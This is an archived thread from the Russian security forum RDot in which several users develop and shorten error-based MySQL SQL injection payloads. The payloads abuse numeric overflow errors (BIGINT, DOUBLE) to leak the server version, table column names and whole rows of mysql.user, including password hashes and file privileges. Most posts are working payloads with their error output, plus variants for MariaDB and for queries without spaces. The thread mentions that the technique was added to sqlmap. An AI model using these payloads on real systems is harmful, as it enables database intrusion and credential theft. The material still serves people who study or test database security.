RDot

RDot (https://rdot.org/forum/index.php)
-   Статьи/Articles (https://rdot.org/forum/forumdisplay.php?f=10)
-   -   MySQL: Альтернативные error-based векторы (https://rdot.org/forum/showthread.php?t=3167)

NameSpace 19.06.2014 12:07

MySQL: Альтернативные error-based векторы
 
Всем привет! Шокирующая рубрика продолжается, а значит придется вновь делать невозможное!

Сегодня на повестке дня альтернативные error-based векторы. Это очень важная и актуальная тема. Об одном из них сейчас я хотел бы рассказать поподробнее. Буду краток, вектор основывается на ошибке переполнения типа данных (не обязательно целого):
PHP код:

mysqlSELECT 18446744073709551610 2;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)'

mysqlSELECT -9223372036854775808;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(-(1) * 9223372036854775808)' 

В ошибку выводится участок запроса, однако эта ошибка возникает не до исполнения, как например здесь:
PHP код:

mysqlSELECT 123 abc d;
ERROR 1064 (42000): You have an error in your SQL syntaxcheck the manual that corresponds to your MySQL server version for the right syntax to use near 'd' at line 1 

А во время, из-за чего можно проводить манипуляции с входными данными и выводить все, что хотелось бы вывести:
Код:

mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610));

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if((select '5.5' from dual),18446744073709551610,18446744073709551610))'

// Вывод: 452 символа

И даже больше:
Код:

mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from test.shop limit 1), 18446744073709551610, 18446744073709551610);ERROR

1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select `article`,`dealer`,`price` from (select `test`.`shop`.`article` AS `article`,`test`.`shop`.`dealer` AS `dealer`,`test`.`shop`.`price` AS `price` from `test`.`shop`) limit 1) > (select `test`.`shop`.`article`,`test`.`shop`.`dealer`,`test`.`shop`.`price` from `test`.`shop` limit 1)),18446744073709551610,18446744073709551610))'

// Узнаем имена колонок в таблице

И еще больше:

Код:

mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) < (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2), 18446744073709551610, 18446744073709551610);

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select 'localhost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','','0','0','0','0','','' from dual limit 1) < (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),18446744073709551610,18446744073709551610))'

// Выводим данные из всех колонок сразу


NameSpace 19.06.2014 14:24

Данный вектор не работает на старых версиях. Максимальная длина ошибки задается в файле mysys/my_error.c:
Код:

/* Max length of a error message. Should be kept in sync with MYSQL_ERRMSG_SIZE. */
#define ERRMSGSIZE      (512)


NameSpace 20.06.2014 07:15

На форке MariaDB в ошибке подзапросы не выводятся:
Код:

mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610))
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if((select #),18446744073709551610,18446744073709551610))'

Решение (с упрощением и небольшой модификацией):

Код:

mysql> SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a;
ERROR 1690 (22003): BIGINT value is out of range in '(('5.5-MariaDB' is not null) - -(9223372036854775808))'

// Вывод: 475 символа


profexer 22.06.2014 09:36

Немного укоротил запросы (убрал лишние скобки, заменил представление числа) и добавил полезных символов при выводе:

Вывод информации
Цитата:

SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610))
=
select 1E308*if((select*from(select version())x),2,2)
Цитата:

SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a
=
select if(x,2,2)*1E308 from(select version()x)y
(нужно проверить на MariaDB!)

Узнаем имена колонок в таблице
Цитата:

SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from test.shop limit 1), 18446744073709551610, 18446744073709551610)
=
select 1E308*if((select*from(select*from mysql.user)``limit 1)>(select*from mysql.user limit 1),2,2)
Вывод со всех столбцов:
Цитата:

SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) < (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2), 18446744073709551610, 18446744073709551610)
=
select 1E308*if((select*from(select*from mysql.user LIMIT 1)``limit 1)<(select*from mysql.user limit 0),2,2)
А если нужно только с определенных колонок, тогда можем получить более чистый вывод:
Цитата:

select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a limit 1),2,2)
+Бонус: узнаем количество колонок в таблице
Цитата:

select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)

NameSpace 22.06.2014 11:24

Отлично.Только фишка этого запроса:
Цитата:

SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a
в том, что он выдает максимальное кол-во символов (475). Улучшить уже нельзя (наверное).

Чем меньше символов в начале и чем больше в конце, тем лучше:
Цитата:

select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a limit 1),2,2);
=>
select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit 1),1e308,0);
Бонус немного не из той степи:
Код:

mysql> select (select * from mysql.user)=1;
mysql> select (select * from mysql.user)in(1);

ERROR 1241 (21000): Operand should contain 42 column(s)


profexer 22.06.2014 12:04

Цитата:

select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit 1),1e308,0);
Дает дополнительные скобки (комбинирует операции).
Если так хочетцо перенести число в конец, то так и делаем (на всякий случай оставим вторую двойку)
Цитата:

select if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a limit 1),2,2)*1E308

Ak47 24.06.2014 08:39

very nice brother! but what is 1E308 and this HEX 18446744073709551610. ?

zuzzz 24.06.2014 08:44

Цитата:

SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a
вот еще вариант
Цитата:

select (x!=0x00)--9223372036854775808 from(SELECT version()x)y

NameSpace 24.06.2014 09:02

Цитата:

Сообщение от Ak47 (Сообщение 36211)
very nice brother! but what is 1E308 and this HEX 18446744073709551610. ?

Это не HEX, это числа, которые при применении некоторых операций выходят за границы своего типа (DOUBLE, BIGINT, BIGINT UNSIGNED, DECIMAL).

zuzzz,
Да, варианты можно плодить, но от подзапроса не избавишься. Как наиболее короткий (и без пробелов) (?):
Код:

mysql> select!x-~0.FROM(select+user()x)f;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'


BlackFan 29.10.2014 12:27

Stampar ‏добавил вектор в sqlmap
https://github.com/sqlmapproject/sql...756f88e7aa5468


Часовой пояс GMT +3, время: 17:59.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot